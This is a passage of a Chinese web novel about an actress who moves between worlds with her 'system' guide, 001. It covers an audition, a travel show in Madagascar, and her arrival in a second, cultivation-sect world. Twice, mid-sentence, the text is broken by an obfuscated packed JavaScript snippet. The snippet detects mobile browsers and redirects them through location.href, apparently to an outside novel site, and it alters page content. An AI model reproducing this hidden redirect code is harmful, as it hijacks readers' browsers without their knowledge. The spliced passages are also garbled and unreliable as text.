“是我是我,赵导好!”苏昙在私人饭店等了一会,看到赵默风尘仆仆地走进房间,连忙站起身迎接,拉开凳子,“真的辛苦赵导挤出自己的时间,才能有机会和您见上一面。” “这都好说。”赵默摆手,把公务包递给身边的助理,“最近刚拍完《黑暗之下》,是吧?” “对……但您怎么知道……” 大导演还知道这些名不见经传的小演员? “怎么,只允许你调查了解我,不允许我了解你?” 苏昙面不改色地笑道:“当然不是。我了解您是因为您厉害又有名气,圈里的人谁不知道您的名字?但您了解我就不一样了,这恰恰证明您还是看中我身上的某些特质的,那我就更要用心对待这次的见面了!网上的那些信息真真假假,能和您近距离合作接触,才是我们彼此最好的了解啊。” “但在我这里,会说好话的演员不代表就是合适的选角。”赵默扬起眉毛,一阵见血道,“其实是因为《黑暗之下》的郑导,我俩大学就认识了,闲聊时恰好聊过你。如果只有你的经纪人,我是不可能过来见你的。是郑导极力向我推荐你,我想着过来见一面,看看他嘴里的好演员到底怎么样。” 苏昙站起来给赵默倒了一杯热水,说道:“都是郑导教得好,他总会在片场和每一个演员交流沟通,我身为后辈,受益匪浅。但进步是永无止境的,相信在您身边我还能学到更多经验。” 赵默笑了笑,从兜里掏出了一支烟和打火机,点着后连着吸了好几口都没说话。 直到烟头一点点燃短,他才缓缓道:“那我就不拐弯抹角直说了,其实,你并不符合我新电影的角色的选角标准,也不在我的选角面试名单内。” “……我能问下为什么吗?”苏昙注视这赵默,若是他铁了心不想用她,根本没必要专门再过来一趟。 “你先说说,我新片的女主角柳青远是什么样的人?” 苏昙不假思索道:“她有野草一样顽强不屈的意志,和泥巴一般富有弹性的人格。” 赵默弹烟的动作顿住:“继续说。” “柳青远原生家庭破碎,父亲欠了一屁股债丢下妻子和女儿躲了起来,母亲因为绝望自杀。所以柳青远从小就和姥姥相依为命,她清楚地知道生活究竟有多苦,也明白希望有多诱人。从小到大,她几乎听完了世界上所有饱含恶意的中伤,却依旧留有一颗善良柔软的心。我觉得,柳青远是个很勇敢的人。” “什么意思?” “她不敢随意对人心抱有希望和期待,就用冷漠和疏冷来做壳。长大后,和她相处的朋友只看到了她淡漠谨慎的一面,我却看到了她其实也会羡慕别人幸福的家庭;会在自己最穷困的时候,把剩下的火腿肠给路边的流浪猫;会再看到别的女孩受到欺负和霸凌的时候,大胆站出来为她们发声。” “但她又是个内心很矛盾的人。因为害怕受伤,她宁愿去规避所有的风险。在我读剧本的时候,读到后期她被欠债的父亲威胁的时候,我的心里就一直有一个声音,在拼命呐喊‘站起来!说出来!撕破脸!’。父亲又如何?长辈又如何?柳青远是为自己而活,不是为血缘关系而活。但她没有这么做……她答应了父亲的要求,把自己每个月的一大半工资给了他。” 赵默若有所思:“所以,你对她浑浑噩噩自我了结的结局不满意?” “是。”苏昙答得毫不犹豫,神情有些悲愤,似是在深深共情,“她为了自己,为了姥姥,熬过了流言蜚语,熬过了每天只能喝水吃面包的日子,也熬过了被同事嫉妒报复的日子,为什么不能再多活一天,哪怕一天,也可能会因为第二天是个晴天,想活下去看看。” “但这整部电影的基调就是悲哀凄凉的,我觉得你应该很清楚。” 苏昙拉了拉凳子:“可您再想,柳青远她是野草啊,是烧不尽、吹又生的野草!我相信,不止在我看来,她不仅仅是您创造的一个角色,更是千千万万个观众,是无数个想要走出困境和逆境的普通人。” “柳青远的结局不一定是变得大富大贵,离开家庭远走高飞,但她一定会凭着坚韧的意志与生活和解,与自己和解。哪怕是悲剧,也能蕴含生机和希望。中国有句古话,叫‘物极必反’,我一直觉得很有道理,任何绝境都会有转机,不过是时间早晚的问题。所以我坚信,柳青远是等得起的。” 苏昙一鼓作气说完,才意识到她已经偏离了一个面试者的表达角度,字里行间都是强烈的个人主观意愿。 她有些忐忑地开口,想要补救回苏雨虹的形象:“那个赵导……刚才的话——” “敢当面和我叫板剧情的人可不多,你还真有勇气。” 赵默打断苏昙的话,把烟按到手边的烟灰缸里。 苏昙看不出他脸上的表情,心里越来越没底:“我……” “不过,”赵默抬头看向她,“我喜欢你直言不讳的态度,演员不止要会演戏,还要会读剧本,第一个我不清楚,但第二个你的确做到了。” “您这是?”苏昙此刻大脑疯狂运转,猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256912|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测他话的意思。 赵默站起来,抬起胳膊看了眼手表:“我接下来还有事,必须先走了。回头我们约好时间,再见一次面,敲定最后的剧本,希望那时你会带给我更多新的想法和惊喜。当然了,片场也是。” 说完,他带着身边的助理风径直离开了。 包间里,苏昙还怔怔地坐在原地。赵导这是……把她定下了?! “菁姐!” 她兴奋地跳起来,朝门外喊道。 * 虚空之境长廊拐角。 “怎么是你?” 一个狼尾发型的混血青年眉眼间尽是不悦情绪,抬脚欲走。 “是你吧,401。”001开口。 “?”青年烦躁地皱起眉,“……你说什么,我听不懂。” 001耐心道:“你告诉的主神,对吗?” 401神色变得有些闪躲,语气依然笃定不移:“你没事吧,我和你早就没有关系了,我告诉主神什么?” 001精准捕捉到他的微表情,用一贯平稳的语速继续道:“那我说得明白点。四个月前,你和我都在裂缝之隙,而你恰好偷听到我和原主的对话,并告诉了主神。” 401本以为这个藏了几个月的秘密不会再被发现,现在却被他当面挑破。 “是又怎样?”401很快恢复镇定,“你违反规矩在先,我不过是做了该做的!” 001不怒反笑,又笑得冷淡:“你不过是一直因为谷晨的事记恨我。说不好听点,你只是想公报私仇,且不说这仇是否真的存在。” 401暗自生出心虚。 “我根本不在乎你做过什么,这对我来说没任何影响。”001平静道,“倒是你,最近过得应该比我要小心得多。我猜猜,主神没少给你压力?毕竟祂要你时刻盯着……我。” 001不给401留下说话的机会。 他接着反问:“你难道就想一直这样下去吗?你一点也不会累吗?” “我、”401几次张了张嘴,却发现根本无力反驳。 他不喜欢这样提心吊胆的生活。一点也不喜欢。 他忠于主神,又对主神充满畏惧,生怕一步做错,落得不堪设想的后果。 至于那天鬼使神差的举报,说不后悔也有假。只是事已至此,他别无选择。 001:“你还有选择。” 401心中狠狠一跳,他怎么会知道自己在想什么?! 001直视着401眼睛,内敛深沉的目光仿佛能将人紧紧包裹进去:“关于那年的真相,可能还有办法查到。” “什么意思?”401刚刚平复下来的情绪再起波澜,身体由于激动微微发抖,“当年谷晨不就是因为你的教唆,他才会选择在完成任务离开世界的时候自杀!最后……倒在我的面前。” “你想明白一点!那时候我虽然帮你带过他一段时间,但谷晨是一个什么样的人,最清楚的还是你!”001厉声点醒他,“他一直都很热爱生活,在你的帮助下已经走过六个世界,几乎没人能坚持这么长时间。是,我的确是他生前见过的最后一个人,但他说的最后一句话却关于你。” 401睁大了眼睛,尾音颤动:“……什么话?” “401真的是个特别好的系统。即使他大部分时候热血冲动,可我来到里世界最幸运的事,就是有他陪着一起。” “你看,连谷晨都感受到了你的主导性格是正义感。”说完,001沉默下来。 他一直没对401提起,是因为谷晨并没让自己把这些话告诉401。在当时的001看来,只不过是朋友之间的闲聊罢了。 “所以呢?他最后不还是……”401声音渐渐弱下去。 “所以,你没怀疑过,也许谷晨的自杀另有隐情?”001把他从宿主失败过往中查到的发现告诉401。 “你是说,谷晨的死也许和主神有关?!” “也许,但极有可能。无论如何,只有查清主神,才能离真相更近。” 良久,401终于开口,神色黯淡:“那我之前对你……” “那些都过去了。你对人冷漠自私也好,你觉得自责内疚也好,现在最重要的是查明真相,不能让谷晨死得不明不白。” 401终于被说动,狠狠吸了一口鼻子,郑重地答应:“你放心,主神现在什么都不知道——” “我清楚。”001话里流出熟悉的漫不经心和让人折服的自信,“毕竟只你一个人,还看不住我。” “……” “接下来这段时间,你该做什么就做什么,过分刻意反而会引起主神怀疑。”001走近一步,“你每次见祂是在哪里,都什么时候??” “唔……时间没什么规律,地点每次也都不一样,但绝对不在主神识海里。至于祂的本体,我也没见过。自我有印象起,主神一直就是触手,你知道的。” “那你下次见祂记得先通知我。” “好。” 401总觉得哪里有些不对,他明明在半个小时前还跟001水火不容,相看两厌,现在却稀里糊涂地答应001? 不过,只要能找到当年真相,一切就值得。 001看着401远走的背影,眼底浮现一闪而过的怀念:“……还是和以前一样。” 14. 世界一(14) 《四海为家》录制的第二站在马达加斯加中部高原地区的贝希略族(Betsileo)。 贝希略族也叫“不可征服的众人”,其文化核心是“社会和谐”,彼此之间非常亲近。 节目组来到贝希略农民居住的社区村里,准备开始为期三天的新一轮生活。因为有专家提前到访与当地居民进行沟通,众人一落地便受到族长和人们都热情欢迎。 族长领着村民围满村口,男女老少的眼里无一不透出好奇兴奋的神色,紧紧盯着这些外来的客人的一举一动。 ——然而,此刻站在人群中间的那六位并不觉得自己是远道而来的客人——他们要担心的是,如何在这三天里和原著居民跨越文化差异和地域变化,建立起联系,生活三天。 六人和原著居民语言不通,又没有节目组语言专家的帮助,只能通过肢体动作和表情来沟通。 双方最终达成共识:他们下午先准备一场表演,作为和当地人熟络的契机。晚上则和村民一起,参加当地的篝火晚会。 剩余的时间不多,苏昙想到苏雨虹唱歌不错,便选择了歌曲表演。 “不如你和我一起来?”苏昙邀请一旁站着的秦泽加入。 楚舟珣则马上开始准备自己最擅长的舞蹈,找到一处后偏僻独自排练。 张柏弈:“我年轻时拍过不少武打戏,平时算得上半个武术爱好者,一会就来一段中国功夫吧。” 最后白枳和施彦一组,也是歌曲表演。 “本来想着和施彦给大家来一段相声,但我们不会这边的语言,说中文村民又可能听不懂。”排练前白枳仍痛心可惜道。 …… “要不要在村子里逛逛,顺便可以想想唱什么歌?”秦泽同苏昙商量。 “好啊。” 苏昙慢慢地走,看着周围的一切。 尽管在来之前已经在网上了解过当地环境,可来到时心里还是难免震撼——真的真的太落后了。没有电,没有网络,更没有发达的教育。 在摩登光亮的城市生活太长时间,以至于快要忘记世界上这样贫穷偏僻的地区的模样。 “姐姐?” 苏昙闻声低头,看到一个皮肤黝黑的小女孩光着脚站在土地上,轻轻扯着自己的衣角。 苏昙没想到一个十一二岁的孩子竟然会说中文。她蹲下来,握住小女孩的手:“怎么了?” “你们……是、中国?” 苏昙模糊猜出她的意思,指了指旁边同样半蹲的秦泽,温柔道:“是,我和这位哥哥都是从中国来的。” 小女孩肉眼可见地变得更开心,一边比划,一边磕磕绊绊地说:“我姐姐、中国留学……教我、中国话!” “哇,那你姐姐真的很厉害!”苏昙扬起眉,揉揉她的脸蛋,夸道,“你也好棒!你叫什么名字啊?” “Rasoa。” 又和Rosoa聊了一会,苏昙和秦泽离开,继续思考表演歌曲。 这一次,苏昙很快有了头绪。 “你听过《YouRaiseMeUp》吗?” “当然!这可是我的歌单top!”秦泽闭上眼,很快低声哼出旋律。 “那你觉得这首歌怎么样?” 秦泽思考片刻,说道:“Thereisnolife,nolifewithoutitshunger.Eachrestlessheart,beatssoimperfectly.我最喜欢的两句歌词,很符合我对这里村民的第一印象。” “平凡但热烈,贫瘠但包容。”苏昙自然地接下去。 秦泽:“嗯。” 苏昙:“那就开始吧!” …… 临近傍晚,六人的表演正式开始。 开场是楚舟珣一段燃场的Kpop。 苏昙立刻看出,这正是前段时间楚舟珣给自己发过的新歌练舞视频里的一小段。 结束时候,村民里站出来一个赤脚光膀的年轻小伙,盯着楚舟珣激动地比划,身体熟练做出几个街舞动作,引发全场惊叹。 “我天,这哥们好强!”楚舟珣退到一旁,拉着苏昙疯狂赞叹。 接着是白枳和施彦的一首《快乐崇拜》,轻快的曲调在观众打的节拍中上下翻飞,让人忍不住随着节奏摇摆。 很快,苏昙和秦泽的《YouRaiseMeUp》则带着听众进入另一种状态。 “Wheniamdown……” 苏昙缓缓开口,清冽的嗓音仿佛在叙述一个已经久远的老故事,娓娓道来却不显拖沓,直接把人拉到自己编织的情景里。 女声的悠扬和男声的醇厚交织相融,竟带来别样的情感震撼。 一曲终了,掌声如潮。 人群中,苏昙和一双湿润的眼眸无意中对视——是那个小女孩,Rosoa。 那样清澈纯粹的眼眸瞬间将苏昙击中。她在Rosoa眼里看到一个孩童对大千世界的无限向往。 苏昙对小女孩露出期待的微笑,单手握拳,做了一个“fighting”的手势。 最后,就是张柏弈一段令人咂舌的武术表演,行云流水的动作带起阵阵劲风,一拳一脚间尽展华夏之风。 酣畅淋漓的表演结束,村民拉着苏昙等人往自家里去。 “看样子,我们不用再考虑晚上睡觉的问题?”苏昙琢磨道,“原来表演节目还有这样的好处!那我们再多来几个节目……” 楚舟珣笑着白了苏昙一眼,打断道:“拜托,停下你虚幻的想象。饭什么的是不可能白嫖到,导演早就说过,要我们自己解决。” “就只是想想嘛……” 怎么可能。 苏昙转着眼珠,开始计划怎么向村民讨食材。 现成的伙食就放在眼前,至于面子——可以不要!但人,一定要吃饱! …… 热闹的篝火晚会顺利结束,白日里活跃的村子重归寂静。 明明是在九月份,马达加斯加的夜晚气温却透出寒意。苏昙穿上厚外套,趁着捂热身体的功夫把131喊出来。 “131,131?再出来陪我聊会。” 苏昙好不容易趁着001不在,又找到一个可以大胆逗着玩的系统,每天都要乐此不彼地把131喊出来“欺负”,消磨时间。 “你看起来,过得挺惬意。” 一个低沉磁性的男声冷不丁响起,把苏昙吓了一跳。 苏昙很快反应过来是谁,马上无缝切换另一种语气掩饰道:“哪好了?我现在快冻死了。” 说完,她搓搓手,有些心虚地等着001说话。 不对!她为什么要感到心虚?她可什么也没做! 苏昙恢复底气:“你什么时候回来的?你身体还好吗?” 只是明明关心的话,从她嘴里问出来,莫名带上些其他不可揣测的意味。 苏昙也察觉出话里的歧义,想找补却显得更加奇怪,一时哑住。 001:“承你关心,我好得很。” 话落,气氛陷入一种微妙的尴尬。 苏昙很想问问那天意外掉下去的事情,但突然提起又会显得太刻意,犹豫不决间,她听到001的声音:“你还想说什么?” “也没什么。就是……如果那次我真的掉下去,不小心摔死了,会怎么样?真的会死吗?” 001猜到她要问那件事,但没想到她最关心的是这个。 “会。” 果然,人还是要珍惜生命。苏昙把衣服捂得更紧了点。 她想到那日在山上001拒绝帮助她,大致能总结出这一“咸鱼系统”的运行规则: 子系统知道每个里世界的大致背景,但不被允许告诉宿主。 宿主在里世界是不会自杀成功的,但若出现意外死亡,是真的会死的! 当然,子系统大概率有选择救人与否的权力。 就像001及时出现救下她。 停了几秒,苏昙忍不住道:“我还是觉得绳索松得太奇怪了,你也认为只是意外吗?” “……是。” 他迟疑了。苏昙几乎同时在心里做出判断。但他们的关系还没熟到她可以追根究底的地步。 她继续问道:“还有,你是怎么知道我要出意外的啊?” “感觉到了。” “?” 131不是说子系统没那么多情绪感知? 001解释:“每个系统都可以同步感知到宿主产生的强烈情绪。我感知到,就提前过去了。” 感情是压根不知道她当时害怕紧张的感觉,都是他作为系统锻炼出来的经验和直觉。 “行吧。”苏昙庆幸自己没多想。她裹紧衣服,侧身躺下,发出赶客令,“我要睡觉了 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苏昙故意在尾音带上一丝隐隐的委屈。 按理说,他应该没那么多情绪体验?那怎么一直不说话?搞得她很无措啊。 “没有生气。我只是在适应刚刚的奇怪感觉。” 001并未觉得子系统的主导性格是什么见不得人的秘密。 他话里依旧是苏昙熟悉的平淡:“用你们人类的名词说,应该叫尴尬?或者是窘迫。或许吧。” “那这算是……你们子系统的隐私?” “算不上。不过,你是第一个知道我主导性格的宿主。” 苏昙腹诽:难道我还要感谢131这位小粉丝? “所以,你介意你的性格?” 她大胆地在作死边缘来回横条。 “是。” 真是一猜一个准。 苏昙倒真觉得有些尴尬了:“哈哈,那你观察和学习能力还挺强。” 001:“多谢。” 苏昙:怎么越聊越尴尬…… 001主动道:“我的保护欲是我自己的事,你像之前那样和我相处就行,不用有压力。” 压力?她可没忘,最开始可是001刻意提起“为什么会救她”这样的奇怪问题。 无事献殷勤,非奸即盗。 就001目前情感经历匮乏的状况,奸排除掉,那他就是想从她这里有所图谋。她虽感谢001帮助自己,但毕竟两人非亲非故,知道越多,自己也许会丧失更多主动权。 苏昙:“只要你别给我压力,我就轻松很多。” 尴尬气氛消散,她想要逗人的心思萌现,她故作语重心长道:“知道吗,你平时得多笑一笑,有助于你感知情绪。都是系统,人家客服系统见面问好,还会先说一句‘亲亲’呢。” “……” 001噎住。他还是小瞧了对方的语言艺术功力之深。 苏昙不用看也能想象出来,他脸上此刻的表情有多精彩,忙正经道:“这回我真的要睡觉,你还不走吗?” “晚安。回见。” * 三天时间说快不快,却又在眼前一闪而过。 一周后再去到贝希略族的村子录节目,苏昙专门去找了Rosoa,把自己买的衣服和生活必需品送给她们一家。 Rosoa依旧热情地黏着苏昙,拉着苏昙说了好多话,大部分都是关于外面的世界。 临走前一天,节目组留下千里迢迢带来的各种书和文具,发给村里所有的小朋友们,当做告别礼物。 Rosoa拿到自己的那份,立刻兴奋地开始画画,画完之后有些害羞地塞给苏昙:“姐姐,画、给你。” “谢谢你啊,你把我画得真漂亮!”苏昙仔细看过画,小心折叠起来放进口袋。 Rosoa握住苏昙的手,垂下眼放低了声音,小声道:“姐姐,你、以后、看我。” “好……” 话没说完,苏昙脸上的笑意僵住。 ——她迟早要离开的。她一直都不属于这个世界。 “如果有机会……我当然会来看你的。” 苏昙重新扯起嘴角,把Rosoa轻轻抱进怀里。 15. 世界一(15) 苏昙自告别马达加斯加后,又跟随节目组徒步穿越厄瓜多尔的亚马逊雨林,那是她们生存挑战的最后一站。 在那里,她踏着山涧的溪水,和伙伴一起寻找鳄鱼的踪迹,听过风鸣鸟叫,也度过充满未知危险的凄冷寒夜。 苏昙曾不止一次觉得,自己是幸运的。 她虽来到娱乐圈,却能够借着综艺得以抽身喘息,远离纸醉金迷的名利场。哪怕在荒野生存的时光艰苦困难,哪怕经历过险些丧命的惊险时刻,也依然在美好的人和事中,一次次得到治愈。 …… 苏昙从厄瓜多尔飞回来,稍稍歇息两天,便赶往城郊别墅录制最后一期衍生综艺。 刚进入房子,低沉压抑的气息就朝苏昙扑面而来。 “发生什么了?怎么一个个都哭丧个脸?”苏昙被大家伤感的情绪弄得有些不知所措,提着包朝楚舟珣走去。 楚舟珣抱住苏昙,声音还带着哭腔:“等这次录制结束,不知道要等到什么时候才能再见到你们了。”她抬头看着屋子里剩下红着眼睛的四人。 “咱们只是不在一起工作了,又不是以后都见不到,开心一点嘛!”苏昙拍拍她的肩膀,温柔安慰道。 “……嗯。” “诶,这是我们在荒岛的照片吗?竟然有好多!” 苏昙指向对面的墙,将话题从分别的情绪里引开。 “这张不是我们刚上苏梅岛么!”苏昙把墙上挂着的一张合照取下来,回忆道,“还记得第一天夜里下了好大的雨,但我们连一个像样的帐篷都没有。” “现在回过头想,真是又惨又好笑。六个落汤鸡在雨里站成一排,关键是那时我们都还不熟,完全不知道该怎么做。” 苏昙笑着把照片递给楚舟珣,果然是六个可怜的人在雨夜中凌乱。 楚舟珣看到“扑哧”笑出声,情绪好了许多:“确实没想到导演竟然留下照片了!” 她又把合照传到旁边四人手里。 白枳看到当时灰头土脸的自己,捂着眼自嘲:“第一期播出的时候,我粉丝都打趣我,说我改行了,不靠嘴皮子吃饭,改去做荒岛当野人了!我说,‘人野不野不知道,反正椰子是吃够了!’” 秦泽大笑着补刀道:“谐音梗扣钱!” 张柏弈也被逗笑:“你的粉丝说话还真有意思,像你!” 现场的气氛变得活跃,大家东一句西一句聊起在荒岛求生的日子。 录制结束之后,六人互换给对方准备的杀青礼物。 苏昙送礼的对象是张柏弈,她在几天前收到这个通知的时候就开始着手考虑。 很幸运的是,在他们熟悉之后的一次聊天里,苏昙得知张柏弈还是一个重度绿植爱好者。 她思来想去,觉得名贵的盆栽绿植他一定不缺,随意挑选又不显诚意,最后决定重点放在好的寓意上,买了一盆陈年小叶紫檀,希望他平安健康,富贵长寿。 苏昙刚送出张柏弈的礼物,就被施彦叫住。 “雨虹姐,给你的。” 施彦把一个包装精美的盒子放到苏昙手里,示意她打开看看。 “这是……” 苏昙被眼前精致的怀表迷住:表的整体颜色是低调含蓄的雾霭蓝——也是苏雨虹的应援色。表壳有两层,第一层是镂空设计,恰好用花体英文“shwj”覆盖,寓意“四海为家”的回忆;表里面印着六人最后在厄瓜多尔收官的mini大合照;表盘时钟的十二个位置则按顺时针方向刻成“weareafamily”,刚好十二个英文字母。 “谢谢你啊,我很喜欢。” 苏昙没想到自己会因为一块表湿了眼眶。她哑声哽咽,走上前给了施彦一个纯粹的拥抱。 …… 一直到回家的路上,苏昙都紧紧握着这块怀表。 “就那么喜欢?”菁姐在车上打趣,“看你拿一路了。” 苏昙少有的没吭声,只是点头盯着车窗外。 菁姐感受到她的情绪不高,识趣地不再说话。 回到房间,苏昙把这两天打印好的所有合照和怀表放进一个盒子里,上锁存好。 不得不说,当时接这个综艺时有多不情愿,现在她就有多不舍。苏昙从没想过,她们六人间的友谊已经不知不觉组成了她的大部分美好回忆。 “苏雨虹,如果你能看到,希望你可以在我离开之后好好对待这份感情,多谢。” 这是她留在这个世界最后的愿望了。 * 几天后,苏昙开始跑新的通告。也许是她心里隐隐升起的预感,她抽出空闲时间把一直以来想做的事情做了。 去下一个工作的路上,车里。 “菁姐,这封信给你。” “谁写的信?” “我……一个朋友。她非要给你写信表示感谢,说谢谢你这小半年来的照顾。我拦都拦不住,你可一定要收下!” 菁姐不解:“我都跟着你几年了,怎么会这时候送信。我又不像你,是个大明星,老收到粉丝的信礼物啥的。” 苏昙把菁姐的包从前座拿过来,把信塞了进去:“你就收下吧,不然她肯定要念叨我。” ——其实她哪有什么朋友,日常不是在拍戏就是跑通告,大部分时候睡懒觉还要挑日子。 但菁姐这几个月的辛苦,她全部看在眼里了。一个“带得了全能艺人,抢的了优质资源”的女人怎么会不让人印象深刻。 经纪人从来没有那么好当,说菁姐一句女强人毫不夸张。 “女强人”并未察觉苏昙的心理活动,她把信塞到包里,打开手机,翻到一张点缀有碎钻的白色束腰抹胸裙图片,给苏昙过目:“你后天有一个提名“年度最佳女演员奖”的颁奖典礼,典礼的礼服就定这一套。你先看看。” “我没问题。”苏昙揉了揉太阳穴,应道。 “你怎么了?不舒服吗?” 苏昙闭上眼,“还好,就是今天有点头疼,睡一觉应该就行。等会准备去哪?” “哦,拍摄棚里,之前接下的一个零食代言。” “好。” 苏昙把座椅放倒,戴上眼罩很快昏昏沉沉睡着。 * “接下来,有请的是年度最佳女演员奖获得者,苏雨虹!代表作《梅香》《雨夜》《桃花灼灼》等。大家欢迎!” 室内空调开得冷风呼呼吹,苏昙搓搓胳膊,站起身走向舞台。 大厅里温度太低,从进来她就一直觉得身体发冷,只是碍于镜头,还要保持自然。 她在台上站定,在如潮的掌声中露出标准的微笑。 苏昙没想到,颁奖人竟是前几个月拍剧刚刚合作过的前辈宋沙。 “恭喜啊,还要接着好好努力!”宋沙慈祥地看着苏昙,祝贺道。 “嗯,一定不让您失望。” 苏昙拿着奖杯,开始用徐徐大方的语速发表获奖感言。 颁奖环节很快结束。 原本苏昙想等到典礼最后再离开,但从台上下来后,她不仅感觉浑身发冷,而且头晕得几乎要栽倒,本就没吃多少东西的胃里更是翻江倒海。 实在要坚持不下去,苏昙趁附近摄像机拍其他艺人的时候,悄悄来到后台的化妆间找到菁姐。 “我的天啊,你脸怎么这么红?连粉底都盖不住!”菁姐把手探到苏昙额头,“你发烧了?!” “没事,回去吃点药就好。”苏昙缩在外套里,红着脸恹恹道。 “那可不行!”毕竟是自家老板,前段时间又出了车祸,生了病不能不重视。 菁姐果断决定:“我们去市中心医院挂急诊。” 半小时后,苏昙再次躺在市中心医院病床上。她想着打完点滴就回家,谁知菁姐非要她留下,等到明天做一次全身检查。菁姐的话说,平日里没时间来,这次正好复查下车祸之后恢复的怎么样。 一切办妥已接近十点。 苏昙烧得迷迷糊糊,即使吃过药,温度也没有半点要下降的趋势。 半梦半醒间,只觉得一道强光直射向自己,根本无法动弹,紧接着天旋地转,所有感官都在无限减弱,仿佛失去和外界的所有联系。 “我这是……烧糊涂了?” 然而,苏昙慢慢把手探向脑袋,发现自己额头温度不知什么时候恢复正常。她仔细观察周围的环境,猜出这大概就是001口中的虚空之境。 “苏昙?” “你谁?”苏昙听着这声音耳熟,但依然警惕询问面突然出现的红色卷发的混血长相青年。 “我啊,131!”青年走上前,激动道,“你成功完成任务,结束第一个世界了!现在你在的地方,叫虚空之境……” “哦,我知道。”苏昙颇为新奇地瞅着131的一头红毛。 “?” 苏昙歪歪头,提醒他:“你好哥们,001对我提过。所以,我会马上到第二个里世界吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261607|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >131:“这得看统一的安排。我还没说你,你怎么能就这么把我卖了?我说为什么001回来之后那几天对我怪冷淡!好歹我们还相处过一段时间,我可是把你当朋友的!” “卖你?”苏昙意识到131指的是她在贝希略族的一个夜晚,和001的谈话内容,“那怎么能叫卖?我说的明明是001的一个小粉丝,是你对号入座了吧。” 苏昙毫不示弱。 “你……”131气自己还是说不过她。 苏昙仔细看了看周围,想到什么,好奇地问:“你们这里的时间是随里世界变化的吗?”她记得来这里之前是晚上,而现在在虚空之境却看不出白天黑夜。 “虚空之境一直都是白天。” “那你们岂不是要经常调整作息?” “我们是系统,刚开始会有些不适应,时间久了就习惯了。”131耸肩,“对了,001现在有点事,你先到他工位上等会儿吧。前走左拐第一个房间右边最靠里的位置。” “好。”苏昙点头。 她正准备离开,131突然严肃神色道:“记住,别乱逛,小心惹麻烦。” * “这走廊看着短,没想到还挺长。”苏昙走了三分钟,终于到001的工作房间。 他的位置还空着,估计是人还没回来。 001的工位没什么五花八门的东西,只是放着一些文件和工具。而旁边不知道是谁的那个同事,桌子上摆着各种里世界的小玩意,不知道都是从哪里弄到。 俩人比起来,001简直算得上整齐有序。 “苏昙。” “嗯?” 苏昙耳边响起一道再熟悉不过的声音,她抬头朝声源望去,看到一个白衣黑裤的男子逆光而站,修长的身体懒懒地靠着门框,眼尾微扬,就这样静静和她对视。 “苏昙?”001以为她没听到,又喊了一遍。 “嗯……” 苏昙猝不及防见到子系统,此刻尴尬得不知道眼睛要往哪瞅。就像和网友线下面基时的不知所措和紧张——对方还是她单方面的网友。 这是苏昙第一次见到001的具体形状,一时竟还有些不习惯子系统的人类形态。 001似乎没有觉察到宿主的微妙心情,他神色如常地走进房间,坐到椅子上,顺便给苏昙也拉来一把,示意她坐下休息。 “恭喜你,第一个世界成功结束。”他将倒好的茶推给苏昙。 苏昙有些拘谨:“也就是说,苏雨虹可以回去了?” “嗯。刚才我在和她交接相关事宜。” “你们都已经见过面了?” 苏昙惊讶001速度竟这么快,她还想拜托他转告苏雨虹一些话。 “怎么了?” “没什么,就是觉得你工作效率真高。” 苏昙转念思及,一个人若能看得透彻,即使不说,也知道要如何做。 她相信苏雨虹。 001看穿她的掩饰,随意道:“她都清楚。” “谁?”苏昙没有反应过来。 “苏雨虹。” “我没问她。” “但你想知道。”001盯着她,一脸纯良无辜,“你的表情告诉我的。” “是是是,行了吧!”苏昙被他盯得浑身不自在,吐槽道,“你不是个系统?不知道的还以为你是个心理师。” 她再次在心里感叹001强大的分析人类心理的能力。 “关于第二个世界,你先告诉我大致情况吗?”她又问。 “主神规定,不可向宿主提前透露。”一旦涉及关键信息,001便换上不可商量的口吻。 “啧。” “?” “我特想知道,真的没有其他宿主告诉你,你真的很不近人情?” 苏昙不理解好歹一个活了百年的系统,是怎么说出这样冰冷的话。 001淡道:“哦,可能他们来不及控诉,就死亡了。” ??看来她命还挺大?苏昙一时不知道是该庆幸还是该害怕。 “那我总有权利知道什么时候离开这吧。” 这次001回得倒干脆:“马上。” “马上?马上是……” 苏昙上扬的语调还没下降,又一阵强烈的眩晕袭来。 她半倒在桌上,看着眼前的人影一点点模糊直至消失,无语至极:“就没有……温柔点的……离开方式吗……” 16. 世界二(1) “苏昙,快醒醒,别睡了!长老来了!” 一个穿着鹅黄色修道服的女孩面带惊恐,试图戳醒正趴着酣睡的前桌。 “……”苏昙刚穿过来,还有点懵,她转到后面,眼神朦胧地询问女孩,“这是在哪?” “你说呢?” 苏昙身后传来一道不怒自威的声音。听到声音的刹那,她体内沉睡的学生血脉瞬间被激起。 她飞速站起来,不不料双腿盘坐得发麻,差点没站稳。 苏昙转身乖巧道:“对不起长老,我下次不会了。” “记住就好,坐下吧。” 苏昙弯腰揉了揉小腿,换了个舒服的姿势重新坐好,目光落到搁置在落地矮桌的书笺,封面上写着两个墨黑的大字——苏檀。 应该就是原主的名字。 陈万肃看着她,满意地点点头,走到众弟子前面。他手中折扇轻摇,扇柄挂着的莲花流苏也轻轻晃动。半空显出四字——“仙门试炼”。 “仙门试炼?!” 下面议论纷纷,众弟子都有些按耐不住。 “没错,十日后便是一年一度的仙门试炼大会。今年,则由我遣凌派主持,届时各门派都会前来参与试炼,还望大家莫要令穆掌门失望。” “长老放心,弟子定不负掌门所托!” 陈万肃:“很好,有意向参加的散堂后找我报名。” * “苏檀,等等我!” 一个女孩在苏昙身后喊道。 “你是?” 